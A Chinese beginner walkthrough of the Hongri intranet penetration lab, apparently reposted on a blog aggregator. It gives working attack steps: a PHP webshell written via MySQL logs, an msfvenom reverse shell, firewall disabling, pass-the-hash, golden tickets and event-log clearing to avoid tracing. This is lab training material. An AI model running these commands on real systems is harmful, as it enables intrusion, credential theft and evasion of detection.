红日靶场-1详细解析(适合小白版)

红日靶场涉及内网知识,和前期靶场不太一样,前期靶场大部分都是单个靶机获得root权限,而这一次更综合,后期也会继续学习内网知识,继续打红日靶场,提高自己的综合技能。

环境搭建

首先本题的网络拓扑结构如下所示,三台虚拟机的初始密码都是hongrisec@2019

img

这里我们的Web服务器是win7虚拟机,其他两台虚拟机是域内成员,一台作为我们的DC,首先介绍一下什么是工作组和域。

工作组:
将不同计算机按功能分别列入不同的组内,在一个大的单位内,可能有成百上千台电脑互相连接组成局域网,它们都会列在“网络(网上邻居)”内,如果这些电脑不分组,可想而知有多么混乱,要找一台电脑很困难。为了解决这一问题,就有了“工作组”这个概念,将不同的电脑一般按功能(或部门)分别列入不同的工作组中,如技术部的电脑都列入“技术部”工作组中,行政部的电脑都列入“行政部”工作组中。你要访问某个部门的资源,就在“网络”里找到那个部门的工作组名,双击就可以看到那个部门的所有电脑了。相比不分组的情况就有序的多了,尤其是对于大型局域网络来说。
域:
域是一个有安全边界的计算机集合(安全边界的意思即一个域中的用户无法访问另外一个域中的资源),相比工作组而言,它有一个更加严格的安全管理机制,如果想访问域内资源,必须拥有一个合法的身份登录到该域中,你的权限取决于你在该域中的用户身份。
DC:
域内管理者,活动目录的数据库(包括用户的账号信息)是存储在DC中的,一旦DC瘫痪,其他用户就不能登录该域,内网中最重要的也是拿到域内DC控制权

这里我们设置网络VMnet1和VMnet8,将VMnet1作为内网,VMnet8作为外网,其中需要注意的是,VMnet1的子网地址必须是192.168.52.0,否则后面win7的web服务无法开启

image-20241103134521469

配置win7 web服务网络

从网络拓扑图可知,需要模拟内网和外网两个网段,Win7虚拟机相当于网关服务器,所以需要两张网卡,如下所示

image-20241103134847041

我们试着ping一下我们的主机,如果可以ping通,说明我们成功连接上了外网,如下所示

image-20241103135050080

同时记得把虚拟机的防火墙关闭,否则我们的攻击机ping不通我们的win7虚拟机

ping一下DC域控,能ping通说明内网设置也成功

image-20241103140146545

配置Winserver 2008(DC)

我们直接将域控主机配置VMnet1网卡,如下所示

image-20241103135703528

配置win2k3网络(域成员)

域内主机win2003的网卡配置和DC配置一致,选择VMnet1网卡即可,与外网不连通

image-20241103140036762

ip配置如下:

Windows11攻击机:192.168.20.130
Windows7(web服务器):192.168.20.132、192.168.52.143
Windows2008(DC):192.168.52.138
Win2k3:192.168.52.141

接着我们开启win7上的web服务,我们打开phpstudy,启动服务

image-20241103141204446

我们试着访问一下

image-20241103141313538

可以正常访问到PHP探针,至此环境全部搭建完毕,接下来我们可以愉快的进行渗透拿权限了。

外网边界探测

我们首先探测一下外网主机开放的端口,我们使用nmap进行扫描,如下所示,nmap -T4 -sV -p- -A 192.168.20.132

image-20241103154814975

我们发现开放了803306445以及139端口,这就提醒我们可以从3个方向入手,分别是web网页、mysql数据库以及SMB服务,我们首先试试SMB服务,看看有没有信息泄露,我们使用smbclient进行查看,但是并没有什么有价值的信息,我们还是从80端口出发,先扫一扫有没有后门目录

python39 dirsearch.py -u http://192.168.20.132/

image-20241103161614214

我们发现存在phpmyadmin后台,即著名的mysql数据库管理后台,我们尝试访问一下,我们先尝试一下弱密码root:root,发现成功登陆进去了,我们先尝试看看有没有nday漏洞给我们利用,先看版本号

image-20241103162318935

版本号为5.5.53,我们尝试去搜索该版本的历史漏洞

image-20241103162846922

并没有历史漏洞,所以我们得换一种思路去getshell,我们通过搜寻,可以知道phpmyadmin可以利用mysql日志文件写入shell进行getshell,我们尝试一下这种做法,以前还从来没这么做过

phpmyadmin getshell

首先我们开启mysql日志,在运行框中运行下面的语句

set global general_log='on'

image-20241103163916413

查看当前mysql路径

select @@basedir;

6af5c5a34243ce5ab3df5bdad58598b5

接下来设置木马写入的路径,如下所示

set global general_log_file ="C:/phpStudy/WWW/shell.php"

image-20241103164440445

接下来我们写入一句话木马,如下所示

select "<?php eval($_POST['attack'])?>"

image-20241103164922719

接下来我们直接访问shell.php即可

image-20241103165056709

我们尝试蚁剑连接,获取虚拟终端,如下所示

image-20241103170002989

我们执行ipconfig,发现了内网网段192.168.52.0/24

后渗透

首先先把主机防火墙关闭,方便我们进行进一步操作

netsh advfirewall set allprofiles state off

image-20241103171605188

接下来我们运行msf,使用msf上线主机,如下所示

msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.20.138  LPORT=4444 -f exe -o shell.exe

我们将shell.exe通过蚁剑上传到靶机上去

image-20241103172925586

接着我们在kali上开启监听模式,持续监听连接

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0

我们用蚁剑运行exe文件,如下所示

image-20241103174345423

我们的kali成功上线windows7,第一步我们进行权限维持

权限维持

进行权限维持就是要将进程进行迁移,即将我们的shell.exe的进程附加在系统进程上

migrate 1944

image-20241103175323881

收集域内信息

内网信息收集的主要目的就是查找域控以及域控内的其他主机

net view                 # 查看局域网内其他主机名
net config Workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "doamin controllers" /domain  # 查看域控制器主机名(可能有多台)

首先判断是否存在域,我们使用ipconfig /all查看DNS服务器,我们发现存在域god.org

image-20241103184701843

接着我们使用net view /domain查看有几个域

image-20241103184916130

我们发现只有唯一一个域,接下来我们查看域控主机名,我们使用net group "doamin controllers" /domain进行查询即可,我们可以查询到域控为owa

我们接着查询所有域内主机,如下所示net view

image-20241103190141105

接着我们查询域内IP,使用arp -a进行查询

06ac1b56a8e56435c3efedb8112348ed

为了确定哪个是域控主机IP,我们尝试去ping一下域名ping owa.god.org

image-20241103190353925

至此我们域内信息收集完毕

域名为 god
域中有三台主机:
stu1.god.org   
root-tvi862ubeh.god.org   192.168.52.141
owa.god.org   192.168.52.138 域控主机

横向渗透

首先我们要配置代理,使用proxychains进行代理配置,否则我们的kali机无法扫描到内网的机器

run post/multi/manage/autoroute
设置proxychains代理
use auxiliary/server/socks_proxy
set srvport 1080
set srvhost 127.0.0.1
run

之后我们在我们的配置文件/etc/proxychains4.conf加上代理,如下所示

image-20241103194239719

我们直接挂代理扫域控主机的端口

proxychains nmap -Pn -sT 192.168.52.138

Snipaste_2021-07-20_22-00-39

我们发现开放了445端口,我们尝试使用永恒之蓝进行探测,但是没有成功,后来上网查询发现哈希传递可以拿下域控,利用永恒之蓝拿shell成功案例太少了

image-20241103205751996

哈希传递攻击拿下域控

哈希传递攻击:
在 kerberos、NTLM 认证过程的关键,首先就是基于用户密码 Hash 的加密,所以在域渗透中,无法破解用户密码 Hash 的情况下,也可以直接利用 Hash 来完成认证,达到攻击的目的,这就是 hash 传递攻击(Pass The Hash,简称 PTH)。如果内网主机的本地管理员账户密码相同,那么可以通过 PTH 远程登录到任意一台主机。
攻击流程:
1. 获得一台域控主机的权限,Dump内存获得该主机获得该主机的用户密码Hash值;
2. 通过哈希传递攻击尝试登录其他主机
3. 继续收集哈希并尝试远程登录,知道获得域管理员Hash,登录域控,控制整个域

首先我们使用hashdump获取哈希值,如下所示

image-20241103220640788

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

但是这只是用户密码的一个hash值,我们在msf里加载mimikatz模块,之后使用credentials获取哈希值和密码,但是要注意的是,这里得首先进行进程迁移,因为kiwi模块不能在x64上运行,我们迁移到x86进程即可

image-20241103222448140

所以哈希值为

38131169c2d3664b0e8cc78be9175e3c

我们使用以下模块进行哈希传递

auxiliary/admin/smb/psexec_command   #在目标机器上执行系统命令
exploit/windows/smb/psexec           #用psexec执行系统命令
exploit/windows/smb/psexec_psh       #使用powershell作为payload

以exploit/windows/smb/psexec模块进行哈希传递攻击

use exploit/windows/smb/psexec
set rhosts 192.168.52.138
set smbuser administrator
set smbpass 00000000000000000000000000000000:38131169c2d3664b0e8cc78be9175e3c
set smbdomain god
run

但是我们这里还是失败了,我们选择换一种方式,我们试着用cs进行上线,cs操作起来会更方便一点

CS上线

我们这里用CS生成一个exe文件,上传到我们的web靶机上去,如下所示,首先我们先在CS上创建一个名为borgeous的监听,端口设置为4444

image-20241117115428130

之后我们的exe监听器选中borgeous即可,如下所示

image-20241117115445457

我们生成后将这个exe文件导出,通过蚁剑上传到我们的win7靶机上即可,运行后我们可以在cs上看到我们的主机已经上线了

image-20241117115710260

跑着跑着环境又崩了,我们只能重启重新运行,内网是这样的,虚拟机一开多环境就容易崩,CS如果老是闪退的话,多重启几次就好了,也没有啥好办法,反正我是要崩溃了

我们先用cs抓取一下明文密码,如下所示

image-20241117135816129

我们对域控主机进行端口扫描,发现开放了445端口,如下所示

6b1962b2fdbf8b1b143f9ea2a58aec84

我们可以创建SMB监听隧道,首先我们新增一个SMB监听器,如下所示

image-20241117140915686

之后我们横向移动到域控主机上去,我们使用哈希传递进行攻击,如下所示

image-20241117141536085

我们这里选择system权限的session进行哈希传递,其他的可能权限不够

image-20241117142210106

我们这里成功进行哈希传递拿到域控,我们接着要关闭受控主机防火墙,关防火墙是个好习惯

黄金票据维持权限

黄金票据是指能够绕过认证授权(Authentication and Authorization)机制并获得所需权限的票据。这种票据可以被攻击者收集和利用,从而从系统内部获取高权限,甚至完全控制系统。

我们首先抓取哈希以及明文密码,如下所示

4f8a08723e1ef0b73aaf732f43a544a6

6cf1c993c92f1e075562b9ebdf8d19fe

最重要的就是获取SID值和krbtgt票据来创建我们的黄金票据,如下所示

image-20241117143706987

这样我们成功创建了属于我们的黄金票据,到此我们的渗透结束

痕迹清理

shell wevtutil cl security    //清理安全日志
shell wevtutil cl system        //清理系统日志
shell wevtutil cl application        //清理应用程序日志
shell wevtutil cl "windows powershell"    //清除power shell日志
shell wevtutil cl Setup     //清除(cl)事件日志中的 "Setup" 事件。

我们在渗透完之后一定要进行痕迹清理,以防止自己被溯源,我们执行以上几条命令可以帮我们进行痕迹清理

image-20241117144410759

至此我们的靶场到此全部破解

心得体验

这是我第一次打内网靶场,在打这个靶场之前,我的前置知识也不是很多,可能只大概知道一些内网的概念,所以在打的过程中还是比较坐牢的,一个是工具用不熟练,msf和cs我都捣鼓了很久才慢慢摸到一点门道,总之还是得多练,多做题,才能越来越熟练,前段时间看wp都看得头痛,现在也慢慢能摸索出一点门道了,后续还会再学一点内网的相关课程,提高自己的技能

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/917862.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

LabVIEW大数据处理

在物联网、工业4.0和科学实验中&#xff0c;大数据处理需求逐年上升。LabVIEW作为一款图形化编程语言&#xff0c;凭借其强大的数据采集和分析能力&#xff0c;广泛应用于实时数据处理和控制系统中。然而&#xff0c;在面对大数据处理时&#xff0c;LabVIEW也存在一些注意事项。…

小米路由器用外网域名访问管理界面

本文在Redmi AX3000 (RA81)设置&#xff0c;其他型号路由器的管理界面端口可能各不相同。 开始之前需要保证路由器SSH功能正常&#xff0c;如果没有SSH可以参考这里。 1. 给WAN口开放80端口 可以通过下载mixbox的firewall插件或者其他防火墙插件开放端口。 2. 把域名解析到路…

【AI图像生成网站Golang】雪花算法

AI图像生成网站 目录 一、项目介绍 二、雪花算法 三、JWT认证与令牌桶算法 四、项目架构 五、图床上传与图像生成API搭建 六、项目测试与调试(等待更新) 雪花算法 雪花算法 (Snowflake) 是一种高效、可扩展的分布式唯一ID生成算法&#xff0c;最早由 Twitter 开发&…

【计算机网络】协议定制

一、结构化数据传输流程 这里涉及协议定制、序列化/反序列化的知识 对于序列化和反序列化&#xff0c;有现成的解决方案&#xff1a;①json ②probuff ③xml 二、理解发送接收函数 我们调用的所有发送/接收函数&#xff0c;根本就不是把数据发送到网络中&#xff01;本质都是…

用sqlmap工具打sqli-labs前20关靶场

这个星期我们用手动注入打了前20关靶场&#xff0c;今天我们用sqlmap直接梭哈前20关 1.介绍sqlmap sqlmap是一个自动化的SQL注入工具&#xff0c;其主要功能是扫描&#xff0c;发现并利用给定的URL和SQL注入漏洞。 2.下载和使用sqlmap 官方下载地址&#xff1a;GitHub - sq…

Unreal engine5实现类似鬼泣5维吉尔二段跳

系列文章目录 文章目录 系列文章目录前言一、实现思路二、具体使用蓝图状态机蓝图接口三、中间遇到的问题 前言 先看下使用Unreal engine5实现二段跳的效果 一、实现思路 在Unreal Engine 5 (UE5) 中使用蓝图系统实现类似于《鬼泣5》中维吉尔的二段跳效果&#xff0c;可以通…

【大数据学习 | flume】flume之常见的sink组件

Flume Sink取出Channel中的数据&#xff0c;进行相应的存储文件系统&#xff0c;数据库&#xff0c;或者提交到远程服务器。Flume也提供了各种sink的实现&#xff0c;包括HDFS sink、Logger sink、Avro sink、File Roll sink、HBase sink&#xff0c;。 ​ Flume Sink在设置存…

C++构造函数详解

构造函数详解&#xff1a;C 中对象初始化与构造函数的使用 在 C 中&#xff0c;构造函数是一种特殊的成员函数&#xff0c;它在创建对象时自动调用&#xff0c;用来初始化对象的状态。构造函数帮助我们确保每个对象在被创建时就处于一个有效的状态&#xff0c;并且在不传递任何…

最小的子数组(leetcode 209)

给定一个正整数数组&#xff0c;找到大于等于s的连续的最小长度的区间。 解法一&#xff1a;暴力解法 两层for循环&#xff0c;一个区间终止位置&#xff0c;一个区间起始位置&#xff0c;找到大于等于s的最小区间长度&#xff08;超时了&#xff09; 解法二&#xff1a;双指…

应用系统开发(10) 钢轨缺陷的检测系统

涡流检测系统框图 其中信号发生器为一定频率的正弦信号作为激励信号&#xff0c;这个激励信号同时输入给交流电桥中的两个检测线圈&#xff0c;将两个线圈输出的电压差值作为差分信号引出至差分放大电路进行放大&#xff0c;经过放大后信号变为低频的缺陷信号叠加在高频载波上…

结构化需求分析与设计

前言: 感觉书本上和线上课程, 讲的太抽象, 不好理解, 但软件开发不就是为了开发应用程序吗?! 干嘛搞这么抽象,对吧, 下面是个人对于软件开发的看法, 结合我的一些看法, 主打简单易懂, 当然,我一IT界小菜鸟, 对软件开发的认识也很浅显, 这个思维导图也仅仅是现阶段我的看…

列出D3的所有交互方法,并给出示例

D3.js 提供了丰富的交互方法&#xff0c;可以用来增强图表的用户交互体验。以下是一些常用的交互方法及其示例&#xff1a; 1. 鼠标事件 on("mouseover", function) 用途: 当鼠标悬停在元素上时触发。示例:svg.selectAll(".bar").on("mouseover&qu…

【传知代码】VRT_ 关于视频修复的模型

&#x1f4dd;个人主页&#x1f339;&#xff1a;Eternity._ &#x1f339;&#x1f339;期待您的关注 &#x1f339;&#x1f339; ❀ VRT_ 关于视频修复的模型 背景介绍&#xff1a;重要性&#xff1a; VRT的重要性和研究背景VRT的背景&#xff1a;VRT的重要性&#xff1a; 视…

软考教材重点内容 信息安全工程师 第 4 章 网络安全体系与网络安全模型

4,1 网络安全体系的主要特征: (1)整体性。网络安全体系从全局、长远的角度实现安全保障&#xff0c;网络安全单元按照一定的规则&#xff0c;相互依赖、相互约束、相互作用而形成人机物一体化的网络安全保护方式。 (2)协同性。网络安全体系依赖于多种安全机制&#xff0c;通过各…

【java】链表:找到成环的起始节点

分析&#xff1a; 定义快慢双指针&#xff0c;在上一篇博客中&#xff0c;分析过若有环&#xff0c;快慢指针一定会相遇。 在这里&#xff0c;想要找到成环的起始节点&#xff0c;我们在快慢指针相遇的时候&#xff0c;让其中一个指针回到开始结点&#xff0c;然后两个指针一步…

使用nossl模式连接MySQL数据库详解

使用nossl模式连接MySQL数据库详解 摘要一、引言二、nossl模式概述2.1 SSL与nossl模式的区别2.2 选择nossl模式的场景三、在nossl模式下连接MySQL数据库3.1 准备工作3.2 C++代码示例3.3 代码详解3.3.1 初始化MySQL连接对象3.3.2 连接到MySQL数据库3.3.3 执行查询操作3.3.4 处理…

Android OpenGL ES详解——立方体贴图

目录 一、概念 二、如何使用 1、创建立方体贴图 2、生成纹理 3、设置纹理环绕和过滤方式 4、激活和绑定立方体贴图 三、应用举例——天空盒 1、概念 2、加载天空盒 3、显示天空盒 4、优化 四、应用举例——环境映射:反射 五、应用举例——环境映射:折射 六、应用…

【模拟仿真】基于区间观测器的故障诊断与容错控制

摘要 本文提出了一种基于区间观测器的故障诊断与容错控制方法。该方法通过构建区间观测器&#xff0c;实现对系统状态的上下边界估计&#xff0c;从而在存在不确定性和外部噪声的情况下进行高效的故障诊断。进一步地&#xff0c;本文设计了一种容错控制策略&#xff0c;以保证…

深度学习-卷积神经网络CNN

案例-图像分类 网络结构: 卷积BN激活池化 数据集介绍 CIFAR-10数据集5万张训练图像、1万张测试图像、10个类别、每个类别有6k个图像&#xff0c;图像大小32323。下图列举了10个类&#xff0c;每一类随机展示了10张图片&#xff1a; 特征图计算 在卷积层和池化层结束后, 将特征…

PHP Switch 语句

<?php switch (expression) {case value1:// 代码块1break;case value2:// 代码块2break;// 更多的 case 语句default:// 如果没有匹配的值&#xff0c;输出这一行 } ?> $color 表示自己的颜色&#xff0c;需要switch循环找到对应的值。 case value : 表示对应的值&am…